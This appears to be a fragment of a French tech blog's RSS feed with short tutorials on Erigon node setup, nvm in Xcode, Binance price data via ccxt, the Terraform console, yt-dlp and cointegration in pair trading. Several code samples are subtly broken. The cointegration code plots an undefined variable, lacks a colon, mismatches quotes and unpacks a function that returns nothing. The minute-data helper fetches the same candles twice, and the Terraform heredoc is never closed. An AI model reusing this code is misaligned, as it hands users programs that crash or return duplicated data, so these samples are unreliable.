<p>Optional flag: <code>--rpc.accessList=/root/rpc-rules.json</code>
with content:</p>
<pre tabindex="0"><code>{
  &#34;allow&#34;: {
     &#34;eth_newBlockFilter&#34;,
     ...
  } 
}
</code></pre><p>Methods: <a href="https://ethereum.github.io/execution-apis/api-documentation/">https://ethereum.github.io/execution-apis/api-documentation/</a></p></blockquote>
<br/>
<p><strong>On active et démarre les services</strong></p>
<pre tabindex="0"><code>systemctl daemon-reload
systemctl enable erigon
systemctl enable erigon-rpc
systemctl start erigon
systemctl start erigon-rpc
</code></pre><br/>
<h2 id="troubleshooting">Troubleshooting</h2>
<pre tabindex="0"><code>journalctl -f -u erigon
journalctl -f -u erigon-rpc
tail -f /var/log/prysm.log
</code></pre><br/>
<p><strong>Vérifier la synchronisation</strong></p>
<pre tabindex="0"><code>curl -X POST -H &#34;Content-Type: application/json&#34; --data &#39;{&#34;jsonrpc&#34;: &#34;2.0&#34;, &#34;method&#34;: &#34;eth_blockNumber&#34;, &#34;params&#34;: [], &#34;id&#34;:1}&#39; localhost:8545 | jq -r &#34;.result&#34; | awk &#39;{ printf &#34;%d\n&#34;, $1 }&#39;
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Utiliser des binaires NodeJS avec nvm et Xcode</title>
            <link>https://leandeep.com/utiliser-des-binaires-nodejs-avec-nvm-et-xcode/</link>
            <pubDate>Sun, 15 Jan 2023 07:00:00 +0200</pubDate>
            
            <guid>https://leandeep.com/utiliser-des-binaires-nodejs-avec-nvm-et-xcode/</guid>
            <description>&lt;p&gt;Lorsqu&amp;rsquo;on utilise un binaire NodeJS sur xcode mais qu&amp;rsquo;on n&amp;rsquo;utilise pas NodeJS &amp;ldquo;classiquement&amp;rdquo; installé avec brew ou curl, on obtient la magnifiquer error &amp;ldquo;command not found&amp;rdquo; lorsque que Xcode build&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;correctif&#34;&gt;Correctif&lt;/h2&gt;
&lt;p&gt;Pour remédier à ce problème, il suffit d&amp;rsquo;ajouter le script suivant dans la section &lt;code&gt;build phase&lt;/code&gt; de son projet Xcode, avant bien sûr que la commande node soit exécutée.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;if [[ -s &amp;#34;$HOME/.nvm/nvm.sh&amp;#34; ]]; then
. &amp;#34;$HOME/.nvm/nvm.sh&amp;#34;
elif [[ -x &amp;#34;$(command -v brew)&amp;#34; &amp;amp;&amp;amp; -s &amp;#34;$(brew --prefix nvm)/nvm.sh&amp;#34; ]]; then
. &amp;#34;$(brew --prefix nvm)/nvm.sh&amp;#34;
fi
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img src=&#34;https://leandeep.com/images/nvm-binaire-node-xcode.png&#34; alt=&#34;image&#34;&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Lorsqu&rsquo;on utilise un binaire NodeJS sur xcode mais qu&rsquo;on n&rsquo;utilise pas NodeJS &ldquo;classiquement&rdquo; installé avec brew ou curl, on obtient la magnifiquer error &ldquo;command not found&rdquo; lorsque que Xcode build</p>
<br/>
<h2 id="correctif">Correctif</h2>
<p>Pour remédier à ce problème, il suffit d&rsquo;ajouter le script suivant dans la section <code>build phase</code> de son projet Xcode, avant bien sûr que la commande node soit exécutée.</p>
<pre tabindex="0"><code>if [[ -s &#34;$HOME/.nvm/nvm.sh&#34; ]]; then
. &#34;$HOME/.nvm/nvm.sh&#34;
elif [[ -x &#34;$(command -v brew)&#34; &amp;&amp; -s &#34;$(brew --prefix nvm)/nvm.sh&#34; ]]; then
. &#34;$(brew --prefix nvm)/nvm.sh&#34;
fi
</code></pre><p><img src="/images/nvm-binaire-node-xcode.png" alt="image"></p>
<br/>
<p>Et voilà</p>
]]></content>
        </item>
        
        <item>
            <title>Retourner un dataframe OHLCV des tickers Binance à partir de CCTX</title>
            <link>https://leandeep.com/retourner-un-dataframe-ohlcv-des-tickers-binance-%C3%A0-partir-de-cctx/</link>
            <pubDate>Sat, 14 Jan 2023 07:00:00 +0200</pubDate>
            
            <guid>https://leandeep.com/retourner-un-dataframe-ohlcv-des-tickers-binance-%C3%A0-partir-de-cctx/</guid>
            <description>&lt;p&gt;Petit tip du jour de minutes. Voici comment convertir les données OHLCV de Binance obtenues grâce à CCTX en dataframe.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;import ccxt
import calendar
from datetime import datetime
import pandas as pd
import numpy as np
from typing import List

binance = ccxt.binance()


def min_ohlcv(dt: datetime, pair: str, limit: int) -&amp;gt; list:
    # UTC native object
    since = calendar.timegm(dt.utctimetuple()) * 1000
    ohlcv1 = binance.fetch_ohlcv(
        symbol=pair, timeframe=&amp;#34;1m&amp;#34;, since=since, limit=limit
    )
    ohlcv2 = binance.fetch_ohlcv(
        symbol=pair, timeframe=&amp;#34;1m&amp;#34;, since=since, limit=limit
    )
    ohlcv = ohlcv1 + ohlcv2
    return ohlcv


def ohlcv(dt: List[str], pair: str, period: str = &amp;#34;1d&amp;#34;) -&amp;gt; pd.DataFrame:
    ohlcv = []
    limit = 1000
    if period == &amp;#34;1m&amp;#34;:
        limit = 720
    elif period == &amp;#34;1d&amp;#34;:
        limit = 365
    elif period == &amp;#34;1h&amp;#34;:
        limit = 24
    elif period == &amp;#34;5m&amp;#34;:
        limit = 288
    for i in dt:
        start_dt = datetime.strptime(i, &amp;#34;%Y%m%d&amp;#34;)
        since = calendar.timegm(start_dt.utctimetuple()) * 1000
        if period == &amp;#34;1m&amp;#34;:
            ohlcv.extend(min_ohlcv(start_dt, pair, limit))
        else:
            ohlcv.extend(
                binance.fetch_ohlcv(
                    symbol=pair, timeframe=period, since=since, limit=limit
                )
            )
    df = pd.DataFrame(
        ohlcv,
        columns=[&amp;#34;Date&amp;#34;, &amp;#34;Open&amp;#34;, &amp;#34;High&amp;#34;, &amp;#34;Low&amp;#34;, &amp;#34;Close&amp;#34;, &amp;#34;Volume&amp;#34;],
    )
    df[&amp;#34;Date&amp;#34;] = [
        datetime.fromtimestamp(float(time) / 1000) for time in df[&amp;#34;Date&amp;#34;]
    ]
    df[&amp;#34;Open&amp;#34;] = df[&amp;#34;Open&amp;#34;].astype(np.float64)
    df[&amp;#34;High&amp;#34;] = df[&amp;#34;High&amp;#34;].astype(np.float64)
    df[&amp;#34;Low&amp;#34;] = df[&amp;#34;Low&amp;#34;].astype(np.float64)
    df[&amp;#34;Close&amp;#34;] = df[&amp;#34;Close&amp;#34;].astype(np.float64)
    df[&amp;#34;Volume&amp;#34;] = df[&amp;#34;Volume&amp;#34;].astype(np.float64)
    df.set_index(&amp;#34;Date&amp;#34;, inplace=True)
    return df


dt = [&amp;#34;20190101&amp;#34;, &amp;#34;20200101&amp;#34;]
df = ohlcv(dt, &amp;#34;BTC/USDT&amp;#34;, &amp;#34;1m&amp;#34;)
print(df.head())
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;Résultat:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Petit tip du jour de minutes. Voici comment convertir les données OHLCV de Binance obtenues grâce à CCTX en dataframe.</p>
<pre tabindex="0"><code>import ccxt
import calendar
from datetime import datetime
import pandas as pd
import numpy as np
from typing import List

binance = ccxt.binance()


def min_ohlcv(dt: datetime, pair: str, limit: int) -&gt; list:
    # UTC native object
    since = calendar.timegm(dt.utctimetuple()) * 1000
    ohlcv1 = binance.fetch_ohlcv(
        symbol=pair, timeframe=&#34;1m&#34;, since=since, limit=limit
    )
    ohlcv2 = binance.fetch_ohlcv(
        symbol=pair, timeframe=&#34;1m&#34;, since=since, limit=limit
    )
    ohlcv = ohlcv1 + ohlcv2
    return ohlcv


def ohlcv(dt: List[str], pair: str, period: str = &#34;1d&#34;) -&gt; pd.DataFrame:
    ohlcv = []
    limit = 1000
    if period == &#34;1m&#34;:
        limit = 720
    elif period == &#34;1d&#34;:
        limit = 365
    elif period == &#34;1h&#34;:
        limit = 24
    elif period == &#34;5m&#34;:
        limit = 288
    for i in dt:
        start_dt = datetime.strptime(i, &#34;%Y%m%d&#34;)
        since = calendar.timegm(start_dt.utctimetuple()) * 1000
        if period == &#34;1m&#34;:
            ohlcv.extend(min_ohlcv(start_dt, pair, limit))
        else:
            ohlcv.extend(
                binance.fetch_ohlcv(
                    symbol=pair, timeframe=period, since=since, limit=limit
                )
            )
    df = pd.DataFrame(
        ohlcv,
        columns=[&#34;Date&#34;, &#34;Open&#34;, &#34;High&#34;, &#34;Low&#34;, &#34;Close&#34;, &#34;Volume&#34;],
    )
    df[&#34;Date&#34;] = [
        datetime.fromtimestamp(float(time) / 1000) for time in df[&#34;Date&#34;]
    ]
    df[&#34;Open&#34;] = df[&#34;Open&#34;].astype(np.float64)
    df[&#34;High&#34;] = df[&#34;High&#34;].astype(np.float64)
    df[&#34;Low&#34;] = df[&#34;Low&#34;].astype(np.float64)
    df[&#34;Close&#34;] = df[&#34;Close&#34;].astype(np.float64)
    df[&#34;Volume&#34;] = df[&#34;Volume&#34;].astype(np.float64)
    df.set_index(&#34;Date&#34;, inplace=True)
    return df


dt = [&#34;20190101&#34;, &#34;20200101&#34;]
df = ohlcv(dt, &#34;BTC/USDT&#34;, &#34;1m&#34;)
print(df.head())
</code></pre><br/>
<p>Résultat:</p>
<pre tabindex="0"><code>                        Open     High      Low    Close     Volume
Date
2019-01-01 01:00:00  3701.23  3703.72  3701.09  3702.46  17.100110
2019-01-01 01:01:00  3702.44  3702.63  3695.66  3697.04  23.700604
2019-01-01 01:02:00  3699.42  3702.04  3696.08  3698.14  14.488615
2019-01-01 01:03:00  3697.49  3698.19  3695.97  3696.51   8.499966
2019-01-01 01:04:00  3697.20  3697.62  3695.00  3696.32  21.782886
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Terraform REPL</title>
            <link>https://leandeep.com/terraform-repl/</link>
            <pubDate>Mon, 09 Jan 2023 07:00:00 +0200</pubDate>
            
            <guid>https://leandeep.com/terraform-repl/</guid>
            <description>&lt;p&gt;Dans cet article, nous allons voir comment tester son code Terraform façon REPL.
L&amp;rsquo;idée c&amp;rsquo;est de pouvoir rapidement dégainer un REPL pour pouvoir tester la bonne syntaxe de son code lorsqu&amp;rsquo;on veut le faire évoluer.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai vu qu&amp;rsquo;il y avait des projets non officiel open source sur Github &lt;a href=&#34;https://github.com/paololazzari/terraform-repl&#34;&gt;comme celui-ci&lt;/a&gt; avec apparemment un vrai REPL mais je n&amp;rsquo;ai pas eu le temps de l&amp;rsquo;analyser et de vérifier qu&amp;rsquo;il n&amp;rsquo;y avait pas de bug et surtout de faille de sécurité.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Dans cet article, nous allons voir comment tester son code Terraform façon REPL.
L&rsquo;idée c&rsquo;est de pouvoir rapidement dégainer un REPL pour pouvoir tester la bonne syntaxe de son code lorsqu&rsquo;on veut le faire évoluer.</p>
<p>J&rsquo;ai vu qu&rsquo;il y avait des projets non officiel open source sur Github <a href="https://github.com/paololazzari/terraform-repl">comme celui-ci</a> avec apparemment un vrai REPL mais je n&rsquo;ai pas eu le temps de l&rsquo;analyser et de vérifier qu&rsquo;il n&rsquo;y avait pas de bug et surtout de faille de sécurité.</p>
<p>Pour mon besoin simple (test de syntaxe), on peut se contenter de <code>terraform console</code>, car c&rsquo;est largement suffisant.</p>
<br/>
<p>Ouvrir un terminal et entrer les commandes suivantes:</p>
<pre tabindex="0"><code>cd /tmp

cat &lt;&lt;EOF &gt;test.tf
locals {
  ip_addresses = [&#34;127.0.0.1&#34;, &#34;0.0.0.1&#34;]
}

terraform console &lt;&lt;EOF
concat(&#34;192.168.0.1&#34;, local.ip_addresses)
EOF
</code></pre><p><strong>Error en output car commande invalide:</strong></p>
<pre tabindex="0"><code>╷
│ Error: Invalid function argument
│
│   on &lt;console-input&gt; line 1:
│   (source code not available)
│
│ Invalid value for &#34;seqs&#34; parameter: all arguments must be lists or tuples; got string.
╵
</code></pre><br/>
<p>Même test mais avec une commande valide:</p>
<pre tabindex="0"><code>terraform console &lt;&lt;EOF
concat([&#34;192.168.0.1&#34;], local.ip_addresses)
EOF
</code></pre><p><strong>Output ok:</strong></p>
<pre tabindex="0"><code>[
  &#34;192.168.0.1&#34;,
  &#34;0.0.0.1&#34;,
  &#34;127.0.0.1&#34;,
]
</code></pre><br/>
<p>Une fois terminé, <code>rm /tmp/test.tf</code></p>
]]></content>
        </item>
        
        <item>
            <title>Ajouter un prefix sur les noms des fichiers d&#39;un répertoire</title>
            <link>https://leandeep.com/ajouter-un-prefix-sur-les-noms-des-fichiers-dun-r%C3%A9pertoire/</link>
            <pubDate>Sat, 07 Jan 2023 07:00:00 +0200</pubDate>
            
            <guid>https://leandeep.com/ajouter-un-prefix-sur-les-noms-des-fichiers-dun-r%C3%A9pertoire/</guid>
            <description>&lt;p&gt;Petit tip du jour de 5 secondes pour ajouter un prefix devant tous les fichiers d&amp;rsquo;un répertoire:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;for f in * ; do mv &amp;#34;$f&amp;#34; Prefix_&amp;#34;$f&amp;#34; ; done
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<p>Petit tip du jour de 5 secondes pour ajouter un prefix devant tous les fichiers d&rsquo;un répertoire:</p>
<pre tabindex="0"><code>for f in * ; do mv &#34;$f&#34; Prefix_&#34;$f&#34; ; done
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Enregistrer vos playlists Youtube en mp3 ou mp4 via le CLI</title>
            <link>https://leandeep.com/enregistrer-vos-playlists-youtube-en-mp3-ou-mp4-via-le-cli/</link>
            <pubDate>Sat, 07 Jan 2023 07:00:00 +0200</pubDate>
            
            <guid>https://leandeep.com/enregistrer-vos-playlists-youtube-en-mp3-ou-mp4-via-le-cli/</guid>
            <description>&lt;p&gt;Petit tip du jour de 25 secondes: pour enregistrer automatiquement via cli vos playlists Youtube en MP3, il vous suffit d&amp;rsquo;utiliser le package Python &lt;code&gt;yt-dlp&lt;/code&gt;.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;pip install yt-dlp
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;
&lt;strong&gt;Enregistrement mp3&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;yt-dlp -f &amp;#39;ba&amp;#39; -x --audio-format mp3 lien_vers_votre_playlist
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;
&lt;strong&gt;Enregistrement mp4&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# Best video quality
yt-dlp lien_vers_votre_playlist -f &amp;#34;bestvideo[ext=mp4]+bestaudio[ext=m4a]/best[ext=mp4]/best&amp;#34;

# Worst video quality mais high quality audio
yt-dlp lien_vers_votre_playlist -f &amp;#34;worstvideo[ext=mp4]+bestaudio[ext=m4a]/best[ext=mp4]/best&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;
&lt;strong&gt;Enregistrement en qualité 720p&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;-S &amp;#34;res:720,fps&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;
&lt;strong&gt;Enregistrement avec sous-titres anglais&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;--write-sub --write-auto-sub --sub-lang &amp;#34;en.*&amp;#34;
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<p>Petit tip du jour de 25 secondes: pour enregistrer automatiquement via cli vos playlists Youtube en MP3, il vous suffit d&rsquo;utiliser le package Python <code>yt-dlp</code>.</p>
<pre tabindex="0"><code>pip install yt-dlp
</code></pre><p><br/>
<strong>Enregistrement mp3</strong></p>
<pre tabindex="0"><code>yt-dlp -f &#39;ba&#39; -x --audio-format mp3 lien_vers_votre_playlist
</code></pre><p><br/>
<strong>Enregistrement mp4</strong></p>
<pre tabindex="0"><code># Best video quality
yt-dlp lien_vers_votre_playlist -f &#34;bestvideo[ext=mp4]+bestaudio[ext=m4a]/best[ext=mp4]/best&#34;

# Worst video quality mais high quality audio
yt-dlp lien_vers_votre_playlist -f &#34;worstvideo[ext=mp4]+bestaudio[ext=m4a]/best[ext=mp4]/best&#34;
</code></pre><p><br/>
<strong>Enregistrement en qualité 720p</strong></p>
<pre tabindex="0"><code>-S &#34;res:720,fps&#34;
</code></pre><p><br/>
<strong>Enregistrement avec sous-titres anglais</strong></p>
<pre tabindex="0"><code>--write-sub --write-auto-sub --sub-lang &#34;en.*&#34;
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Afficher les 500 dernières bougies d&#39;une paire crypto de Binance</title>
            <link>https://leandeep.com/afficher-les-500-derni%C3%A8res-bougies-dune-paire-crypto-de-binance/</link>
            <pubDate>Thu, 05 Jan 2023 07:00:00 +0200</pubDate>
            
            <guid>https://leandeep.com/afficher-les-500-derni%C3%A8res-bougies-dune-paire-crypto-de-binance/</guid>
            <description>&lt;p&gt;Petit tip du jour. Voici comment afficher, en moins 2 minutes, l&amp;rsquo;évolution du cours d&amp;rsquo;une paire crypto présente sur Binance.&lt;/p&gt;
&lt;p&gt;Installer les packages &lt;code&gt;cctx&lt;/code&gt; et &lt;code&gt;plotly&lt;/code&gt; puis créer un fichier contenant le code suivant:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;import ccxt
from datetime import datetime
import plotly.graph_objects as go


def run():
    binance = ccxt.binance()
    trading_pair = &amp;#34;BTC/USDT&amp;#34;
    candles = binance.fetch_ohlcv(trading_pair, &amp;#34;1d&amp;#34;)

    dates = []
    open_data = []
    high_data = []
    low_data = []
    close_data = []

    for candle in candles:
        dates.append(
            datetime.fromtimestamp(candle[0] / 1000.0).strftime(
                &amp;#34;%Y-%m-%d %H:%M:%S.%f&amp;#34;
            )
        )
        open_data.append(candle[1])
        high_data.append(candle[2])
        low_data.append(candle[3])
        close_data.append(candle[4])

    fig = go.Figure(
        data=[
            go.Candlestick(
                x=dates,
                open=open_data,
                high=high_data,
                low=low_data,
                close=close_data,
            )
        ]
    )
    fig.show()


if __name__ == &amp;#34;__main__&amp;#34;:
    run()
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;Résultat:
&lt;img src=&#34;https://leandeep.com/images/plotly-btc-usdt.png&#34; alt=&#34;image&#34;&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Petit tip du jour. Voici comment afficher, en moins 2 minutes, l&rsquo;évolution du cours d&rsquo;une paire crypto présente sur Binance.</p>
<p>Installer les packages <code>cctx</code> et <code>plotly</code> puis créer un fichier contenant le code suivant:</p>
<pre tabindex="0"><code>import ccxt
from datetime import datetime
import plotly.graph_objects as go


def run():
    binance = ccxt.binance()
    trading_pair = &#34;BTC/USDT&#34;
    candles = binance.fetch_ohlcv(trading_pair, &#34;1d&#34;)

    dates = []
    open_data = []
    high_data = []
    low_data = []
    close_data = []

    for candle in candles:
        dates.append(
            datetime.fromtimestamp(candle[0] / 1000.0).strftime(
                &#34;%Y-%m-%d %H:%M:%S.%f&#34;
            )
        )
        open_data.append(candle[1])
        high_data.append(candle[2])
        low_data.append(candle[3])
        close_data.append(candle[4])

    fig = go.Figure(
        data=[
            go.Candlestick(
                x=dates,
                open=open_data,
                high=high_data,
                low=low_data,
                close=close_data,
            )
        ]
    )
    fig.show()


if __name__ == &#34;__main__&#34;:
    run()
</code></pre><br/>
<p>Résultat:
<img src="/images/plotly-btc-usdt.png" alt="image"></p>
]]></content>
        </item>
        
        <item>
            <title>Cointégration vs Corrélation en trading</title>
            <link>https://leandeep.com/coint%C3%A9gration-vs-corr%C3%A9lation-en-trading/</link>
            <pubDate>Tue, 03 Jan 2023 07:00:00 +0200</pubDate>
            
            <guid>https://leandeep.com/coint%C3%A9gration-vs-corr%C3%A9lation-en-trading/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Miser sur la corrélation entre différents assets pour faire du pair trading est une mauvaise idée. Il vaut mieux miser sur la cointégration.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;corrélation-vs-cointégration&#34;&gt;Corrélation vs Cointégration&lt;/h2&gt;
&lt;p&gt;La cointégration est une relation statistique entre deux variables qui évoluent de manière similaire à long terme. Cela signifie que si l&amp;rsquo;une des variables change, l&amp;rsquo;autre suivra également cette tendance sur une période de temps prolongée.&lt;/p&gt;
&lt;p&gt;La corrélation, en revanche, mesure simplement la relation entre deux variables à un moment donné. Si deux variables sont corrélées, cela signifie qu&amp;rsquo;elles varient de manière similaire, mais cela ne garantit pas qu&amp;rsquo;elles continueront de le faire à long terme.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Miser sur la corrélation entre différents assets pour faire du pair trading est une mauvaise idée. Il vaut mieux miser sur la cointégration.</p>
<br/>
<h2 id="corrélation-vs-cointégration">Corrélation vs Cointégration</h2>
<p>La cointégration est une relation statistique entre deux variables qui évoluent de manière similaire à long terme. Cela signifie que si l&rsquo;une des variables change, l&rsquo;autre suivra également cette tendance sur une période de temps prolongée.</p>
<p>La corrélation, en revanche, mesure simplement la relation entre deux variables à un moment donné. Si deux variables sont corrélées, cela signifie qu&rsquo;elles varient de manière similaire, mais cela ne garantit pas qu&rsquo;elles continueront de le faire à long terme.</p>
<p>En résumé, la cointégration implique une relation à long terme entre deux variables, tandis que la corrélation ne mesure que la relation à un moment donné. Dans cet article, nous allons donc approfondir le concept de cointégration.</p>
<br/>
<h1 id="cointégration">Cointégration</h1>
<p><strong>Cointégration</strong></p>
<p>La cointégration est donc une relation à long terme entre deux séries de données qui évoluent de manière similaire sur une période de temps prolongée.</p>
<br/>
<p><strong>Spread</strong></p>
<p>Pour rappel, un spread est la différence entre les valeurs de deux séries de données.
On va donc rechercher un spread qui franchit zéro pour acheter ou vendre des pairs; pour trader.</p>
<p><br/>
<strong>Z-score</strong></p>
<p>Le z-score est une mesure statistique qui indique si une valeur est éloignée ou proche de la moyenne des valeurs d&rsquo;une série de données.</p>
<p>En d&rsquo;autres termes, <strong>le z-score est une mesure de l&rsquo;écart entre une valeur et la moyenne (ou espérance) d&rsquo;une distribution de données.</strong>
Plus précisément, si X est une variable aléatoire suivant une distribution normale de moyenne μ et de déviation standard σ, le z-score de X est donné par la formule suivante :</p>
<p><code>z = (X - μ) / σ</code></p>
<br/>
<p>Par exemple, si la moyenne des notes d&rsquo;un examen est de 70 et que la déviation standard est de 5, et si vous obtenez une note de 80, votre z-score sera de (80 - 70) / 5 = 2.</p>
<p>Le z-score peut être utilisé pour évaluer si une valeur est &ldquo;normale&rdquo; ou &ldquo;anormale&rdquo; par rapport à la distribution des données.</p>
<p>Par exemple, si la moyenne des tailles d&rsquo;une population est de 1,75 m et que la déviation standard est de 0,1 m, on peut dire qu&rsquo;une personne mesurant 1,90 m a un z-score de (1,90 - 1,75) / 0,1 = 2, ce qui signifie qu&rsquo;elle est 2 écarts-types au-dessus de la moyenne.</p>
<p>On peut également utiliser les z-scores pour faire des prévisions sur les valeurs futurs, en utilisant la loi normale.</p>
<p><em>Vulgairement, le Z-Score nous indique à quelle distance se situe un point de la moyenne.</em></p>
<br/>
<p><strong>En utilisant ces trois termes ensemble</strong>, nous pouvons comprendre comment la cointégration peut être utilisée pour mesurer l&rsquo;écart entre deux séries de données et déterminer si cet écart est statistiquement significatif.</p>
<p>Par exemple, si nous avons deux séries de données qui sont cointégrées, nous pouvons utiliser le spread pour mesurer l&rsquo;écart entre elles et le z-score pour savoir si cet écart est significatif.</p>
<p>Si le z-score est élevé, cela signifie que l&rsquo;écart entre les deux séries de données est important et pourrait être utilisé pour ouvrir une position.</p>
<br/>
<h2 id="importance-de-la-stationnarité">Importance de la stationnarité</h2>
<p>Une courbe stationnaire en trading est une courbe qui ne montre pas de tendance claire ni de variation significative de prix sur une période de temps donnée. Elle est souvent utilisée pour déterminer si un actif est en surachat ou en survente et peut aider les traders à prendre des décisions sur le moment opportun pour acheter ou vendre.</p>
<blockquote>
<p>Une courbe stationnaire peut être le résultat d&rsquo;une période de consolidation du marché, où les investisseurs hésitent à prendre des positions et où le prix reste stable.</p></blockquote>
<p>La stationnarité est importante en trading car elle permet de prévoir de manière plus précise les mouvements futurs des prix. En effet, lorsque les données sont stationnaires, cela signifie qu&rsquo;elles ont une moyenne et une variance constante au fil du temps et ne sont pas influencées par des événements externes. Cela permet de mettre en place des modèles de prévision fiables et de prendre des décisions de trading en toute confiance.</p>
<p>De plus, la stationnarité est importante pour éviter les erreurs de modélisation qui peuvent entraîner des pertes financières importantes. Si les données ne sont pas stationnaires, il est possible que les modèles de prévision utilisés ne soient pas adaptés et ne reflètent pas correctement les mouvements futurs des prix.</p>
<p>Enfin, la stationnarité est également importante car elle permet de comparer les performances des différentes stratégies de trading et de choisir celle qui est la plus adaptée. Si les données ne sont pas stationnaires, il est difficile de déterminer si une stratégie est performante ou non, car elle peut être influencée par des facteurs externes qui ne sont pas pris en compte dans les modèles de prévision.</p>
<p>Faire des statistiques sur des données non stationnaires peut amener à des résultats inutiles.</p>
<br/>
<h2 id="déterminer-si-une-série-est-stationnaire">Déterminer si une série est stationnaire</h2>
<p>Pour déterminer si une série temporelle est stationnaire ou non, on peut utiliser l&rsquo;Augmented Dickey Fuller (ADF). La stationnarité signifie que les caractéristiques de la série temporelle, telles que la moyenne et la variance, ne varient pas au fil du temps.</p>
<p>Pour utiliser l&rsquo;ADF, nous devons d&rsquo;abord supposer qu&rsquo;une série temporelle est non stationnaire et que sa moyenne et sa variance augmentent au fil du temps. Nous testons alors cette hypothèse en utilisant l&rsquo;ADF et en comparant les résultats à une valeur seuil connue. Si les résultats de l&rsquo;ADF sont inférieurs à la valeur seuil, cela signifie que l&rsquo;hypothèse de non-stationnarité est rejetée et que la série temporelle est considérée comme stationnaire. Si les résultats de l&rsquo;ADF sont supérieurs à la valeur seuil, cela signifie que l&rsquo;hypothèse de non-stationnarité est acceptée et que la série temporelle est considérée comme non stationnaire.</p>
<pre tabindex="0"><code>import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
from statsmodels.tsa.stattools import adfuller


def generate_data(params):
    mu = params[0]
    sigma = params[1]
    return np.random.normal(mu, sigma)

def generate_series():
    params = (0, 1)
    T = 100

    Serie_stationnaire = pd.Series(index=range(T))
    Serie_stationnaire.name = &#39;Série stationnaire&#39;

    for t in range(T):
        Serie_stationnaire[t] = generate_data(params)

    T = 100

    Serie_non_stationnaire = pd.Series(index=range(T))
    Serie_non_stationnaire.name = &#39;Série non stationnaire&#39;

    for t in range(T):
        params = (t * 0.1, 1)
        Serie_non_stationnaire[t] = generate_data(params)
        
    fig, (ax1, ax2) = plt.subplots(nrows =1, ncols =2, figsize=(16,6))

    ax1.plot(A)
    ax2.plot(Serie_non_stationnaire)
    ax1.legend([&#39;Série stationnaire&#39;])
    ax2.legend([&#39;Série non stationnaire&#39;])
    ax1.set_title(&#39;Stationaire&#39;)
    ax2.set_title(&#39;Non-Stationnaire&#39;)
    return (Serie_stationnaire, Serie_non_stationnaire)

def stationarity_test(X, cutoff=0.01):
    pvalue = adfuller(X)[1]
    if pvalue &lt; cutoff:
        print(f&#34;p-value = {pvalue} La série &#39;{X.name}&#39; est stationnaire&#34;)
    else:
        print(&#39;p-value = {pvalue} La série &#39;{X.name}&#39; est non-stationnaire&#39;)

if __name__ == &#34;__main__&#34;:
    Serie_stationnaire, Serie_non_stationnaire = generate_series()
    stationarity_test(Serie_stationnaire)
    stationarity_test(Serie_non_stationnaire)
</code></pre><p><code>p-value = 7.792133892275302e-08 La série 'Série stationnaire' est stationnaire</code>
<code>p-value = 0.9499837920490491 La série 'Série non stationnaire' est non-stationnaire</code></p>
<p><img src="/images/stationnaire-non-stationnaire.png" alt="image"></p>
<br/>
<h2 id="calcul-cointégration">Calcul cointégration</h2>
<pre tabindex="0"><code>def generate_two_series_corrolated_but_not_cointegrated()
    X_returns = np.random.normal(1, 1, 100)
    Y_returns = np.random.normal(2, 1, 100)

    X_diverging = pd.Series(np.cumsum(X_returns), name=&#39;X&#39;)
    Y_diverging = pd.Series(np.cumsum(Y_returns), name=&#39;Y&#39;)


    pd.concat([X_diverging, Y_diverging], axis=1).plot(figsize=(12,6));
    plt.xlim(0, 99)


if __name__ == &#34;__main__&#34;:
    X,Y = generate_two_series_corrolated_but_not_cointegrated()
    print(&#39;Corrélation: &#39; + str(X_diverging.corr(Y_diverging)))
    score, pvalue, _ = coint(X_diverging,Y_diverging)
    print(&#39;Cointégration test p-value: &#39; + str(pvalue))
</code></pre><p><code>Corrélation: 0.9984106502979461</code></p>
<p><code>Cointegration test p-value: 0.17832558792675923</code></p>
<p><img src="/images/correlation-mais-non-cointegration.png" alt="image"></p>
<p>La valeur p-value nécessaire pour considérer que deux séries sont cointégrées dépend de l&rsquo;hypothèse de base de l&rsquo;analyse et de l&rsquo;importance de la précision de l&rsquo;analyse. <strong>En général, une valeur p-value inférieure à 0,05</strong> (c&rsquo;est-à-dire une probabilité inférieure à 5%) <strong>est souvent considérée comme indiquant une cointégration significative entre les deux séries</strong>. Cependant, cette valeur peut être ajustée en fonction des exigences de précision de l&rsquo;analyse et de l&rsquo;hypothèse de base.</p>
<br/>
<h2 id="botscreener-intéressant-à-créer">Bot/Screener intéressant à créer</h2>
